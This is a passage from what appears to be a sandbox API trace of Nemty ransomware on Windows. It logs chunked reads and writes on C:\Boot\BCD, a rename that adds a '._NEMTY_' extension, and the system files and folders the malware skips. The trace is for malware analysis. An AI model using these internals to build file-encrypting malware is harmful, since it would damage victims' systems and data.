dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0043.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0043.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0043.181] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.182] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f870 | out: lpFileSize=0x653f870*=18150282790959268) returned 0 [0043.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6345548 [0043.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51483218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.182] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51483218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51643218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51643218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51803218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51803218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51963218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51963218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.224] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52123218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.224] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52123218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.234] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52283218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52283218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.244] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52443218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.244] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52443218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52603218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52603218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52763218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52763218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52923218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52923218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106064036, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345548, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 0 [0043.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106064036, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345548, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106166436, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0) returned 0 [0043.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345548 | out: hHeap=0x4f90000) returned 1 [0043.297] CloseHandle (hObject=0xffffffff) returned 0 [0043.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f916e8 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.297] MoveFileW (lpExistingFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), lpNewFileName="C:\\Boot\\BCD._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\bcd._nemty_kgobjgd_")) returned 0 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.297] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0043.297] lstrcmpiW (lpString1="BCD.LOG", lpString2=".") returned 1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="..") returned 1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="...") returned 1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="windows") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="$RECYCLE.BIN") returned 1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="rsa") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="NTDETECT.COM") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="ntldr") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="MSDOS.SYS") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="IO.SYS") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="boot.ini") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="boot.ini") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="AUTOEXEC.BAT") returned 1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="ntuser.dat") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="desktop.ini") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="CONFIG.SYS") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="RECYCLER") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="BOOTSECT.BAK") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="bootmgr") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="programdata") returned -1 [0043.298] lstrcmpiW (lpString1="BCD.LOG", lpString2="appdata") returned 1 [0043.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0043.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG", cchWideChar=7, lpMultiByteStr=0x653f8d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG", lpUsedDefaultChar=0x0) returned 7 [0043.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0043.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG", cchWideChar=7, lpMultiByteStr=0x653f8d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG", lpUsedDefaultChar=0x0) returned 7 [0043.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0043.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG", cchWideChar=7, lpMultiByteStr=0x653f920, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG", lpUsedDefaultChar=0x0) returned 7 [0043.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0043.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG", cchWideChar=7, lpMultiByteStr=0x653f958, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG", lpUsedDefaultChar=0x0) returned 7 [0043.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.298] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0043.298] lstrcmpiW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="...") returned 1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="windows") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="$RECYCLE.BIN") returned 1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="rsa") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="NTDETECT.COM") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="ntldr") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="MSDOS.SYS") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="IO.SYS") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="boot.ini") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="boot.ini") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="AUTOEXEC.BAT") returned 1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="ntuser.dat") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="desktop.ini") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="CONFIG.SYS") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="RECYCLER") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="BOOTSECT.BAK") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="bootmgr") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="programdata") returned -1 [0043.299] lstrcmpiW (lpString1="BCD.LOG1", lpString2="appdata") returned 1 [0043.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG1", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG1", cchWideChar=8, lpMultiByteStr=0x653f8d0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG1", lpUsedDefaultChar=0x0) returned 8 [0043.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG1", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG1", cchWideChar=8, lpMultiByteStr=0x653f8d0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG1", lpUsedDefaultChar=0x0) returned 8 [0043.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG1", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG1", cchWideChar=8, lpMultiByteStr=0x653f920, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG1", lpUsedDefaultChar=0x0) returned 8 [0043.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG1", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG1", cchWideChar=8, lpMultiByteStr=0x653f958, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG1", lpUsedDefaultChar=0x0) returned 8 [0043.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f916e8 [0043.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f91720 [0043.300] Sleep (dwMilliseconds=0x5) [0043.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f7e4 | out: lpSystemTimeAsFileTime=0x653f7e4*(dwLowDateTime=0xcd8375f0, dwHighDateTime=0x1d561e7)) [0043.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f7e4 | out: lpSystemTimeAsFileTime=0x653f7e4*(dwLowDateTime=0xcd8375f0, dwHighDateTime=0x1d561e7)) [0043.303] GetLastError () returned 0x20 [0043.303] SetLastError (dwErrCode=0x20) [0043.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91590 [0043.303] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.304] SetLastError (dwErrCode=0x20) [0043.304] GetLastError () returned 0x20 [0043.305] SetLastError (dwErrCode=0x20) [0043.305] GetLastError () returned 0x20 [0043.305] SetLastError (dwErrCode=0x20) [0043.305] GetLastError () returned 0x20 [0043.305] SetLastError (dwErrCode=0x20) [0043.305] GetLastError () returned 0x20 [0043.305] SetLastError (dwErrCode=0x20) [0043.305] GetLastError () returned 0x20 [0043.305] SetLastError (dwErrCode=0x20) [0043.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | 